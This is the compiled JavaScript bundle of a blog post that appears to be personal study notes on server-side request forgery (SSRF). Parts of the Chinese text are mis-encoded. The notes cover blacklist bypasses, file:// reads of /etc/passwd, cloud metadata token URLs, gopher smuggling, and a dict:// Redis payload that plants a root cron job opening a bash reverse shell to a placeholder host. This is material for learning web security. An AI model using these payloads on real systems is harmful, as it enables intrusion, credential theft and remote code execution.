1import{_ as d}from"./ValaxyMain.vue_vue_type_script_setup_true_lang-BtF6SIE9.js";import{b as u,e as p,w as l,f as m,a as _,p as r,r as i,g as e,h as t}from"./app-kqUif9qg.js";const g=e("h1",{id:"ssrf-server-side-request-forgery",tabindex:"-1"},[t("SSRF(Server-Side Request Forgery) "),e("a",{class:"header-anchor",href:"#ssrf-server-side-request-forgery","aria-label":'Permalink to "SSRF(Server-Side Request Forgery)"'},"â")],-1),f=e("aside",null," ð¡ Make sure the request comes from the remote server and not your personal IP address ",-1),b=e("h2",{id:"what-is-ssrf",tabindex:"-1"},[t("What is SSRF? "),e("a",{class:"header-anchor",href:"#what-is-ssrf","aria-label":'Permalink to "What is SSRF?"'},"â")],-1),k=e("p",null,"诱导æå¡ç«¯åºç¨ç¨åºå»è®¿é®ç±æ»å»è
æ§å¶çä»»æå°å,æ»å»è
è½æ»¥ç¨è¯¥åè½å¨æå¡å¨ä¸å»è¯»åææ´æ°å
é¨èµæº.",-1),v=e("p",null,"(requestçè¡ä¸ºæ¯ç±æå¡ç«¯åèµ·ç)",-1),y=e("ul",null,[e("li",null,"Blind SSRF - Allows to scan for accessible hosts and ports"),e("li",null,"Full Response - Allows you to see the entire resposne from the server"),e("li",null,"Limited or Response - Shows a portion of the response like the title of the page or No Response or you have access to resources but canât see them directly")],-1),w=e("h3",{id:"blind-ssrf",tabindex:"-1"},[t("Blind SSRF "),e("a",{class:"header-anchor",href:"#blind-ssrf","aria-label":'Permalink to "Blind SSRF"'},"â")],-1),S=e("ul",null,[e("li",null,[e("p",null,"使ç¨SSRFæµè¯å¼æ¾ç«¯å£"),e("ul",null,[e("li",null,"æ ¹æ®è¿åæ¶é´å¤æç«¯å£æ¯å¦å¼æ¾")])])],-1),F=e("p",null,"è¿å¯ä»¥ä½¿ç¨ï¼",-1),x=e("ul",null,[e("li",null,"Javascript"),e("li",null,"exfil data")],-1),P=e("h3",{id:"full-response",tabindex:"-1"},[t("Full Response "),e("a",{class:"header-anchor",href:"#full-response","aria-label":'Permalink to "Full Response"'},"â")],-1),R=e("p",null,"ä¸åéå¶ï¼ç´æ¥ä»responseä¸è·åå°ä¿¡æ¯",-1),E=e("h3",{id:"limited-response",tabindex:"-1"},[t("Limited Response "),e("a",{class:"header-anchor",href:"#limited-response","aria-label":'Permalink to "Limited Response"'},"â")],-1),T=e("p",null,"éè¦è¿è¡åæ",-1),q=e("h2",{id:"disclose-information",tabindex:"-1"},[t("Disclose information "),e("a",{class:"header-anchor",href:"#disclose-information","aria-label":'Permalink to "Disclose information"'},"â")],-1),A=e("ol",null,[e("li",null,"端å£")],-1),C=e("ul",null,[e("li",null,[t("æµè¯ç«¯å£åèï¼å¯ä»¥æµè¿äºï¼ "),e("ul",null,[e("li",null,"21, (FTP)"),e("li",null,"22, (SSH)"),e("li",null,"80, (Web)"),e("li",null,"443, (SSL Web)"),e("li",null,"8080, (Proxy)")])])],-1),I=e("ol",{start:"2"},[e("li",null,"å
许çåè®®ï¼")],-1),B=e("ul",null,[e("li",null,"gopher:// (File Distribution)"),e("li",null,"dict:// ( dictionary network protocol)"),e("li",null,"ftp:// (File Transfer Protocol)"),e("li",null,"File:// (File URI Scheme)"),e("li",null,"ldap:// ( Lightweight Directory Access Protocol*)*")],-1),D=e("ol",{start:"3"},[e("li",null,"çå®ipå°åï¼")],-1),L=e("ul",null,[e("li",null,"éè¿responseç头鍿å
¶ä»è¾åº")],-1),M=e("ol",{start:"4"},[e("li",null,"å
¶ä»ä¿¡æ¯æ³æ¼æ¹å¼ï¼æ¶éä¸ï¼")],-1),U=e("ul",null,[e("li",null,[t("use incomplete HTTP protocol ï¼ "),e("a",{href:"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a",target:"_blank",rel:"noreferrer"},"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a"),t(" ï¼ "),e("ul",null,[e("li",null,[e("a",{href:"https://infosecwriteups.com/%5B::%5D.",target:"_blank",rel:"noreferrer"},"http://[::]")]),e("li",null,"http://")])])],-1),W=e("h2",{id:"make-sure-request-comes-from-the-remote-server",tabindex:"-1"},[t("Make sure request comes from the remote server "),e("a",{class:"header-anchor",href:"#make-sure-request-comes-from-the-remote-server","aria-label":'Permalink to "Make sure request comes from the remote server"'},"â")],-1),$=e("h3",{id:"使ç¨nc",tabindex:"-1"},[t("使ç¨nc "),e("a",{class:"header-anchor",href:"#使ç¨nc","aria-label":'Permalink to "使ç¨nc"'},"â")],-1),H=e("p",null,"妿çå¬å°çipå°å鿬å°,è¯æè¯·æ±æ¯ä»æ¬å°æµè§å¨åèµ·ç",-1),G=e("p",null,"å½ä»¤:",-1),j=e("div",{class:"language-jsx vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"jsx"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"nc "),e("span",{style:{"--shiki-dark":"#89DDFF","--shiki-light":"#39ADB5"}},"-"),e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"lvp "),e("span",{style:{"--shiki-dark":"#F78C6C","--shiki-light":"#F76D47"}},"8000")])])]),e("button",{class:"collapse"})],-1),N=e("h3",{id:"使ç¨burpsuite",tabindex:"-1"},[t("使ç¨Burpsuite "),e("a",{class:"header-anchor",href:"#使ç¨burpsuite","aria-label":'Permalink to "使ç¨Burpsuite"'},"â")],-1),z=e("aside",null," ð¡ å¨blind ssrfä¸ä¹å¯ä»¥ä½¿ç¨burp ",-1),J=e("p",null,"Step 1:使ç¨burpä¸âburp collaborator clientâ,ç¶åå°å°åå¤å¶å°ssrfä½ç½®",-1),O=e("p",null,"Step 2: æ¥çcollaborator client ä¸çhistory æ¯å¦æ¯æ¬å°ipå°å",-1),X=e("h2",{id:"bypass-blacklist",tabindex:"-1"},[t("Bypass Blacklist "),e("a",{class:"header-anchor",href:"#bypass-blacklist","aria-label":'Permalink to "Bypass Blacklist"'},"â")],-1),Q=e("h3",{id:"fooling-it-with-redirects",tabindex:"-1"},[t("Fooling it with redirects "),e("a",{class:"header-anchor",href:"#fooling-it-with-redirects","aria-label":'Permalink to "Fooling it with redirects"'},"â")],-1),V=e("p",null,"For example, you can host a file with the following content on your web server:",-1),Z=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},'<?php header(âlocation: http://127.0.0.1"); ?>')])])]),e("button",{class:"collapse"})],-1),Y=e("p",null,[t("Letâs say this file is hosted at "),e("em",null,"http:"),t("//"),e("em",null,"attacker.com/redirect.php"),t(" . This way, when you make the target server request "),e("em",null,"http:"),t("//"),e("em",null,"attacker.com/redirect.php"),t(", the target server is actually redirected to "),e("a",{href:"http://127.0.0.1",target:"_blank",rel:"noreferrer"},"http://127.0.0.1"),t(", a restricted internal address.")],-1),K=e("p",null,"夿³¨ï¼",-1),ee=e("ul",null,[e("li",null,[t("å³ä½¿æ²¡æåæ³bypassï¼ä¹å¯ä»¥å°è¯æµä¿¡éæ»å»ï¼çresponseç头鍿¯å¦å
å«å
é¨çipå°åï¼ä¾å¦ "),e("code",null,"X-Forwarded-For")])],-1),te=e("h3",{id:"tricking-it-with-dns",tabindex:"-1"},[t("Tricking it with DNS "),e("a",{class:"header-anchor",href:"#tricking-it-with-dns","aria-label":'Permalink to "Tricking it with DNS"'},"â")],-1),le=e("p",null,"Modify the A/AAAA record of a domain you control and make it point to internal addresses of the victimâs network.",-1),se=e("p",null,"ç½ç«:",-1),ie=e("ul",null,[e("li",null,[e("a",{href:"http://xip.io",target:"_blank",rel:"noreferrer"},"xip.io"),t(" (好åä¸è½ç¨äº)")]),e("li",null,[e("a",{href:"https://nip.io/",target:"_blank",rel:"noreferrer"},"https://nip.io/")]),e("li",null,[e("a",{href:"https://sslip.io/",target:"_blank",rel:"noreferrer"}
1,"https://sslip.io/"),t(" (åxip.ioç å¯å)")]),e("li",null,[e("a",{href:"https://v2ex.com/t/863767",target:"_blank",rel:"noreferrer"},"https://v2ex.com/t/863767"),t(" v2exä¸æäººçå¸å,CNAMEæåäºæ¬å°")])],-1),ne=e("h3",{id:"using-ipv6-addresses",tabindex:"-1"},[t("Using IPv6 addresses "),e("a",{class:"header-anchor",href:"#using-ipv6-addresses","aria-label":'Permalink to "Using IPv6 addresses"'},"â")],-1),oe=e("p",null,"Try using IPv6 addresses instead of IPv4. The protection mechanisms implemented for IPv4 might not have been implemented for IPv6.",-1),ae=e("h3",{id:"switching-out-the-encoding",tabindex:"-1"},[t("Switching out the encoding "),e("a",{class:"header-anchor",href:"#switching-out-the-encoding","aria-label":'Permalink to "Switching out the encoding"'},"â")],-1),re=e("p",null,"There are many different ways of encoding a URL or an address that doesnât change how a server interprets its location, but might let it slip under the radar of a blacklist. These include hex encoding, octal encoding, dword encoding, URL encoding, and mixed encoding.",-1),ce=e("ul",null,[e("li",null,"Hex Encoding")],-1),he=e("p",null,"Turns out that servers out there can understand IP addresses when they are hex encoded.Hereâs an example:",-1),de=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"127.0.0.1 translates to 0x7f.0x0.0x0.0x1")])])]),e("button",{class:"collapse"})],-1),ue=e("p",null,[e("strong",null,"The â0xâ at the beginning of each section designates it as a hex number.")],-1),pe=e("p",null,"⢠Octal Encoding",-1),me=e("p",null,"Octal encoding is a way of representing characters in the base 8 format.For example,",-1),_e=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"127.0.0.1 translates to 0177.0.0.01")])])]),e("button",{class:"collapse"})],-1),ge=e("p",null,"In this case, the leading zeros are necessary to convey that that section is an octal number.",-1),fe=e("p",null,"⢠Dword Encoding",-1),be=e("p",null,"âDwordâ stands for âdouble wordâ, which is a 32-bit integer.An IP address is basically a 32-bit number,split into four octets (groups of eight bits),and written in the decimal format(groups of eight bits).",-1),ke=e("p",null,"how to get dword format IP address",-1),ve=e("p",null,"For example, 127.0.0.1 is actually the decimal representation of 01111111.00000000.00000000.00000001⦠And when we translate the entire number(01111111000000000000000000000001) into one single decimal number, we get the IP address in dword format!",-1),ye=e("p",null,[t("So what is 127.0.0.1 in dword? Itâs the answer for 127"),e("em",null,"256³+0"),t("256²+0"),e("em",null,"256¹+1"),t("256â°, which is 2130706433,Meaning that if you type in "),e("a",{href:"http://127.0.0.1/",target:"_blank",rel:"noreferrer"},"http://2130706433"),t(" instead of "),e("a",{href:"http://127.0.0.1/",target:"_blank",rel:"noreferrer"},"http://127.0.0.1"),t(", it would still be understood! Pretty cool right?")],-1),we=e("ul",null,[e("li",null,"URL Encoding")],-1),Se=e("p",null,"For example, the word âlocalhostâ can be represented with its URL encoded equivalent, â%6c%6f%63%61%6c%68%6f%73%74â.So when a server is blocking requests to internal hostnames such as âlocalhostâ, try itâs URL encoded equivalent!",-1),Fe=e("ul",null,[e("li",null,"Mixed Encoding")],-1),xe=e("p",null,"Itâs mix-and-match time!You could also use a combination of encoding techniques to try to fool the server: maybe this would work?",-1),Pe=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}}
1,"127.0.0.1 translates to 0177.0.0.0x1")])])]),e("button",{class:"collapse"})],-1),Re=e("p",null,[t("æ´å¤å¯ä»¥çè¿é: "),e("a",{href:"https://h.43z.one/ipconverter/",target:"_blank",rel:"noreferrer"},"https://h.43z.one/ipconverter/")],-1),Ee=e("h2",{id:"bypass-whitelists",tabindex:"-1"},[t("Bypass Whitelists "),e("a",{class:"header-anchor",href:"#bypass-whitelists","aria-label":'Permalink to "Bypass Whitelists"'},"â")],-1),Te=e("p",null,"Whitelists are generally harder to bypass because they are by default, stricter than blacklists.",-1),qe=e("h3",{id:"open-redirect",tabindex:"-1"},[t("open redirect "),e("a",{class:"header-anchor",href:"#open-redirect","aria-label":'Permalink to "open redirect"'},"â")],-1),Ae=e("p",null,"But it is possible if there is an open redirect vulnerability within the whitelisted domains.If you could find an open redirect, you can request a whitelisted URL that redirects to an internal URL.",-1),Ce=e("h3",{id:"not-correctly-implemented",tabindex:"-1"},[t("not correctly implemented "),e("a",{class:"header-anchor",href:"#not-correctly-implemented","aria-label":'Permalink to "not correctly implemented"'},"â")],-1),Ie=e("p",null,"eg. via poorly designed regex",-1),Be=e("p",null,[t("it could also be bypassed by using making a subdomain or directory as the whitelisted domain name (eg. "),e("em",null,"victim.com.attacker.com"),t("  or "),e("em",null,"attacker.com/victim.com"),t(" ).")],-1),De=e("h2",{id:"åè®®ç使ç¨",tabindex:"-1"},[t("åè®®çä½¿ç¨ "),e("a",{class:"header-anchor",href:"#åè®®ç使ç¨","aria-label":'Permalink to "åè®®ç使ç¨"'},"â")],-1),Le=e("aside",null," ð¡ æ³¨æï¼ä¸äºæ åµä¸ãä» BP é颿å 请æ±çè¯ï¼ç©ºæ ¼å¾åæ`%2520` ï¼å³ä¸¤æ¬¡ URL ç¼ç æå¯ä»¥é¡ºå©æ§è¡ ",-1),Me=e("ul",null,[e("li",null,"gopher:// (File Distribution)"),e("li",null,"dict:// ( dictionary network protocol)"),e("li",null,"ftp:// (File Transfer Protocol)"),e("li",null,"File:// (File URI Scheme)"),e("li",null,"ldap:// ( Lightweight Directory Access Protocol*)*")],-1),Ue=e("p",null,"妿æ¯åºäºé误çssrfï¼å¯ä»¥å æ ¹æ®responseå¤ææ¯æåªäºåè®®",-1),We=e("h3",{id:"fileåè®®ä¸",tabindex:"-1"},[t("fileåè®®ä¸ï¼ "),e("a",{class:"header-anchor",href:"#fileåè®®ä¸","aria-label":'Permalink to "fileåè®®ä¸ï¼"'},"â")],-1),$e=e("ul",null,[e("li",null,[e("code",null,"file:///etc/passwd")]),e("li",null,[e("code",null,"file:///etc/hosts"),t(" : è·åæ¬æºå ç½ipå°åä¿¡æ¯ï¼ä»è确认å½åèµäº§ç½æ®µä¿¡æ¯")]),e("li",null,[e("code",null,"[file://proc/net/arp](file://proc/net/arp)"),t(" or "),e("code",null,"[file://etc/network/interfaces](file://etc/network/interfaces)"),t(" ï¼å½åæºåç½ç»æ åµ")])],-1),He=e("h3",{id:"dictåè®®",tabindex:"-1"},[t("DICTåè®® "),e("a",{class:"header-anchor",href:"#dictåè®®","aria-label":'Permalink to "DICTåè®®"'},"â")],-1),Ge=e("p",null,[e("strong",null,"dictåè®®æ¯ä»ä¹?")],-1),je=e("p",null,[e("a",{href:"https://blog.51cto.com/u_15127673/4130760",target:"_blank",rel:"noreferrer"},"https://blog.51cto.com/u_15127673/4130760")],-1),Ne=e("p",null,[e("strong",null,"dictåè®®å¯ä»¥ç¨æ¥åä»ä¹?")],-1),ze=e("ul",null,[e("li",null,"æ¢æµç«¯å£å¼æ¾æå¡"),e("li",null,"æ»å»æªææçRedisæå¡")],-1),Je=e("p",null,[e("strong",null,"æ¢æµç«¯å£å¼æ¾æå¡")],-1),Oe=e("p",null,"使ç¨ssrfé åDICTåè®®æ¢æµå ç½ç«¯å£å¼æ¾æ åµ:",-1),Xe=e("p",null,"ä¹å¯ä½¿ç¨httpåè®®",-1),Qe=e("p",null,[e("strong",null,"使ç¨dictåè®®æé åå¼¹shell - redis")],-1),Ve=e("p",null,[e("a",{href:"https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-2",target:"_blank",rel:"noreferrer"},"https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-2")],-1),Ze=e("div",{class:"language-txt vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"txt"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",null,"# æ¸ ç©º key")]),t(` 2`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/flushall")]),t(` 3`),e("span",{class:"line"},[e("span")]),t(` 4`),e("span",{class:"line"},[e("span",null,"# è®¾ç½®è¦æä½çè·¯å¾ä¸ºå®æ¶ä»»å¡ç®å½")]),t(` 5`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/config set dir /var/spool/cron/")]),t(` 6`),e("span",{class:"line"},[e("span")]),t(` 7`),e("span",{class:"line"},[e("span",null,"# å¨å®æ¶ä»»å¡ç®å½ä¸å建 root ç宿¶ä»»å¡æä»¶")]),t(` 8`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/config set dbfilename root")
8]),t(` 9`),e("span",{class:"line"},[e("span")]),t(` 10`),e("span",{class:"line"},[e("span",null,"# åå ¥ Bash åå¼¹ shell ç payload")]),t(` 11`),e("span",{class:"line"},[e("span",null,'dict://172.72.23.27:6379/set x "\\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\\n"')]),t(` 12`),e("span",{class:"line"},[e("span")]),t(` 13`),e("span",{class:"line"},[e("span",null,"# ä¿åä¸è¿°æä½")]),t(` 14`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/save")])])]),e("button",{class:"collapse"})],-1),Ye=e("h3",{id:"gopheråè®®",tabindex:"-1"},[t("Gopheråè®® "),e("a",{class:"header-anchor",href:"#gopheråè®®","aria-label":'Permalink to "Gopheråè®®"'},"â")],-1),Ke=e("p",null,[e("strong",null,"为ä»ä¹è¦ç¨å°gopheråè®®")],-1),et=e("p",null,"%208896444a46f64714b2a3d272739d77b6/Untitled%205.png?msec=1669820820598)",-1),tt=e("p",null,"è¿éæ¯ç¨å°gopheråè®®ä¼ éHTTPçPOST请æ±(SSRFæ¼æ´æ æ³ç´æ¥åèµ·POST请æ±)",-1),lt=e("p",null,[e("strong",null,"æé 请æ±å ")],-1),st=e("p",null,"step1: æå请æ±å ",-1),it=e("p",null,"step2: å é¤HTTP请æ±ç",-1),nt=e("div",{class:"language-txt vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"txt"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",null,"Accept-Encoding: gzip, deflate")])])]),e("button",{class:"collapse"})],-1),ot=e("p",null,"step3: url两次ç¼ç æ´ä¸ªpost请æ±",-1),at=e("figure",null,[e("img",{src:"https://raw.githubusercontent.com/1dayluo/PicGo4Blog/main/2022_11/Untitled%206.png",alt:"Untitled",loading:"lazy",decoding:"async"})],-1),rt=e("p",null,"step4: å°ç¼ç åç请æ±ä½ä¸ºTCPæ°æ®æµä¼ å ¥gopher请æ±ä¸:",-1),ct=e("div",{class:"language- vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"}),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",null,"url=gopher://172.72.23.24:80/<两次urlç¼ç çTCPæ°æ®æµ>")])])]),e("button",{class:"collapse"})],-1),ht=e("p",null,"step5: æåæ§è¡å½ä»¤",-1),dt=e("p",null,"åºæ¯:",-1),ut=e("ul",null,[e("li",null,"èèfileåè®®ç»åXXEå¤é¨å®ä½æ³¨å ¥,å®ç°ssrf"),e("li",null,"ssrf å级为RCE(éè¿mysql)")],-1),pt=e("h2",{id:"proof",tabindex:"-1"},[t("Proof "),e("a",{class:"header-anchor",href:"#proof","aria-label":'Permalink to "Proof"'},"â")],-1),mt=e("p",null,"ç¹å¾å¯åè: åç§äºæå¡å¨/ä¸é´ä»¶ [ 个人notionç¬è®° æblogæ²¡ææ´å»å»]",-1),_t=e("h3",{id:"aws",tabindex:"-1"},[t("AWS "),e("a",{class:"header-anchor",href:"#aws","aria-label":'Permalink to "AWS"'},"â")],-1),gt=e("ul",null,[e("li",null,"http://{your-ip}/metadata/v1"),e("li",null,"http://{your-ip}/latest/metadata")],-1),ft=e("h3",{id:"google-gcp",tabindex:"-1"},[t("Google GCP "),e("a",{class:"header-anchor",href:"#google-gcp","aria-label":'Permalink to "Google GCP"'},"â")],-1),bt=e("ul",null,[e("li",null,[e("a",{href:"http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token",target:"_blank",rel:"noreferrer"},"http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token")])],-1),kt=e("h2",{id:"escalate-to-rce",tabindex:"-1"},[t("escalate to RCE "),e("a",{class:"header-anchor",href:"#escalate-to-rce","aria-label":'Permalink to "escalate to RCE"'},"â")],-1),vt=e("h3",{id:"aws-1",tabindex:"-1"},[t("AWS "),e("a",{class:"header-anchor",href:"#aws-1","aria-label":'Permalink to "AWS"'},"â")],-1),yt=e("p",null,"åèAWSä¸ç ,åçå¾è¯¦ç»ãè²ä¼¼ä»æä¸ªäººç¬è®°æ¬è¿å°blogéäºï¼å¯ä»¥åèé£ä¸ç¯=-=",-1),wt=e("h3",{id:"mysql",tabindex:"-1"},[t("MySQL "),e("a",{class:"header-anchor",href:"#mysql","aria-label":'Permalink to "MySQL"'},"â")],-1),St=e("p",null,"䏿³æ¬è¿ããã乿¯notionç¬è®°æåãblogæ¹æçï¼ç´¯ã",-1),Ft=e("h2",{id:"åºç°çå°æ¹æ»ç»",tabindex:"-1"},[t("åºç°çå°æ¹æ»ç» "),e("a",{class:"header-anchor",href:"#åºç°çå°æ¹æ»ç»","aria-label":'Permalink to "åºç°çå°æ¹æ»ç»"'},"â")],-1),xt=e("ul",null,[e("li",null,[t("urléç¨base64ç¼ç ï¼"),e("a",{href:"https://blog.neolex.dev/13/",target:"_blank",rel:"noreferrer"},"ä¾å"),t("ï¼")]),e("li",null,"Any customization that involves HTML/CSS (Font name, colors, styling)"),e("li",null,"pushed to the PDF( PDF+XSS ==SSRF)")],-1),Pt=e("h2",{id:"reference",tabindex:"-1"},[t("Reference "),e("a",{class:"header-anchor",href:"#reference","aria-label":'Permalink to "Reference"'},"â")],-1),Rt=e("p",null,"Udemy",-1),Et=e("ul",null,[e("li",null,[e("a",{href:"https://www.udemy.com/course/intro-to-bug-bounty-by-nahamsec/learn/lecture/24998004#overview",target:"_blank",rel:"noreferrer"},"https://www.udemy.com/course/intro-to-bug-bounty-by-nahamsec/learn/lecture/24998004#overview")])],-1),Tt=e("p",null,"Medium",-1),qt=e("ul",null,[e("li",null,[e("a",{href:"https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b",target:"_blank",rel:"noreferrer"},"https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b")]),e("li",null,[e("a",{href:"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a",target:"_blank",rel:"noreferrer"},"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a")])],-1),At=e("p",null,"PPT",-1),Ct=e("ul",null,[e("li",null,[t("Google doc "),e("ul",null,[e("li",null,[e("a",{href:"https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent",target:"_blank",rel:"noreferrer"},"https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent")])])])],-1),Ut={__name:"shen-ru-qian-chu-ssrf-wo-de-xue-xi-bi-ji",setup(It,{expose:c}){const n=JSON.parse('{"title":"æ·±å ¥æµ åºSSRFï¼ä¸ï¼ ï¼ æçå¦ä¹ ç¬è
14®°","description":"","frontmatter":{"title":"æ·±å
¥æµ
åºSSRFï¼ä¸ï¼ ï¼ æçå¦ä¹ ç¬è®°","date":"2022-11-30T23:17:15.000Z","tags":["SSRF","ç¬è®°"],"published":true,"hideInList":false,"feature":null,"isTop":false},"headers":[{"level":2,"title":"What is SSRF?","slug":"what-is-ssrf","link":"#what-is-ssrf","children":[{"level":3,"title":"Blind SSRF","slug":"blind-ssrf","link":"#blind-ssrf","children":[]},{"level":3,"title":"Full Response","slug":"full-response","link":"#full-response","children":[]},{"level":3,"title":"Limited Response","slug":"limited-response","link":"#limited-response","children":[]}]},{"level":2,"title":"Disclose information","slug":"disclose-information","link":"#disclose-information","children":[]},{"level":2,"title":"Make sure request comes from the remote server","slug":"make-sure-request-comes-from-the-remote-server","link":"#make-sure-request-comes-from-the-remote-server","children":[{"level":3,"title":"使ç¨nc","slug":"使ç¨nc","link":"#使ç¨nc","children":[]},{"level":3,"title":"使ç¨Burpsuite","slug":"使ç¨burpsuite","link":"#使ç¨burpsuite","children":[]}]},{"level":2,"title":"Bypass Blacklist","slug":"bypass-blacklist","link":"#bypass-blacklist","children":[{"level":3,"title":"Fooling it with redirects","slug":"fooling-it-with-redirects","link":"#fooling-it-with-redirects","children":[]},{"level":3,"title":"Tricking it with DNS","slug":"tricking-it-with-dns","link":"#tricking-it-with-dns","children":[]},{"level":3,"title":"Using IPv6 addresses","slug":"using-ipv6-addresses","link":"#using-ipv6-addresses","children":[]},{"level":3,"title":"Switching out the encoding","slug":"switching-out-the-encoding","link":"#switching-out-the-encoding","children":[]}]},{"level":2,"title":"Bypass Whitelists","slug":"bypass-whitelists","link":"#bypass-whitelists","children":[{"level":3,"title":"open redirect","slug":"open-redirect","link":"#open-redirect","children":[]},{"level":3,"title":"not correctly implemented","slug":"not-correctly-implemented","link":"#not-correctly-implemented","children":[]}]},{"level":2,"title":"åè®®ç使ç¨","slug":"åè®®ç使ç¨","link":"#åè®®ç使ç¨","children":[{"level":3,"title":"fileåè®®ä¸ï¼","slug":"fileåè®®ä¸","link":"#fileåè®®ä¸","children":[]},{"level":3,"title":"DICTåè®®","slug":"dictåè®®","link":"#dictåè®®","children":[]},{"level":3,"title":"Gopheråè®®","slug":"gopheråè®®","link":"#gopheråè®®","children":[]}]},{"level":2,"title":"Proof","slug":"proof","link":"#proof","children":[{"level":3,"title":"AWS","slug":"aws","link":"#aws","children":[]},{"level":3,"title":"Google GCP","slug":"google-gcp","link":"#google-gcp","children":[]}]},{"level":2,"title":"escalate to RCE","slug":"escalate-to-rce","link":"#escalate-to-rce","children":[{"level":3,"title":"AWS","slug":"aws-1","link":"#aws-1","children":[]},{"level":3,"title":"MySQL","slug":"mysql","link":"#mysql","children":[]}]},{"level":2,"title":"åºç°çå°æ¹æ»ç»","slug":"åºç°çå°æ¹æ»ç»","link":"#åºç°çå°æ¹æ»ç»","children":[]},{"level":2,"title":"Reference","slug":"reference","link":"#reference","children":[]}],"relativePath":"pages/posts/history/shen-ru-qian-chu-ssrf-wo-de-xue-xi-bi-ji.md","path":"/home/runner/work/1dayluo.github.io/1dayluo.github.io/pages/posts/history/shen-ru-qian-chu-ssrf-wo-de-xue-xi-bi-ji.md","lastUpdated":1781453302000}'),a=_(),o=n.frontmatter||{};return a.meta.frontmatter=Object.assign(a.meta.frontmatter||{},n.frontmatter||{}),r("pageData",n),r("valaxy:frontmatter",o),globalThis.$frontmatter=o,c({frontmatter:{title:"æ·±å
¥æµ
åºSSRFï¼ä¸ï¼ ï¼ æçå¦ä¹ ç¬è®°",date:"2022-11-30T23:17:15.000Z",tags:["SSRF","ç¬è®°"],published:!0,hideInList:!1,feature:null,isTop:!1}}),(s,Dt)=>{const h=d;return u(),p(h,{frontmatter:m(o)},{"main-content-md":l(()=>[g,f,b,k,v,y,w,S,F,x,P,R,E,T,q,A,C,I,B,D,L,M,U,W,$,H,G,j,N,z,J,O,X,Q,V,Z,Y,K,ee,te,le,se,ie,ne,oe,ae,re,ce,he,de,ue,pe,me,_e,ge,fe,be,ke,ve,ye,we,Se,Fe,xe,Pe,Re,Ee,Te,qe,Ae,Ce,Ie,Be,De,Le,Me,Ue,We,$e,He,Ge,je,Ne,ze,Je,Oe,Xe,Qe,Ve,Ze,Ye,Ke,et,tt,lt,st,it,nt,ot,at,rt,ct,ht,dt,ut,pt,mt,_t,gt,ft,bt,kt,vt,yt,wt,St,Ft,xt,Pt,Rt,Et,Tt,qt,At,Ct]),"main-header":l(()=>[i(s.$slots,"main-header")]),"main-header-after":l(()=>[i(s.$slots,"main-header-after")]),"main-nav":l(()=>[i(s.$slots,"main-nav")]),"main-content":l(()=>[i(s.$slots,"main-content")]),"main-content-after":l(()=>[i(s.$slots,"main-content-after")]),"main-nav-before":l(()=>[i(s.$slots,"main-nav-before")]),"main-nav-after":l(()=>[i(s.$slots,"main-nav-after")]),comment:l(()=>[i(s.$slots,"comment")]),footer:l(()=>[i(s.$slots,"footer")]),aside:l(()=>[i(s.$slots,"aside")]),"aside-custom":l(()=>[i(s.$slots,"aside-custom")]),default:l(()=>[i(s.$slots,"default")]),_:3},8,["frontmatter"])}}};export{Ut as default};
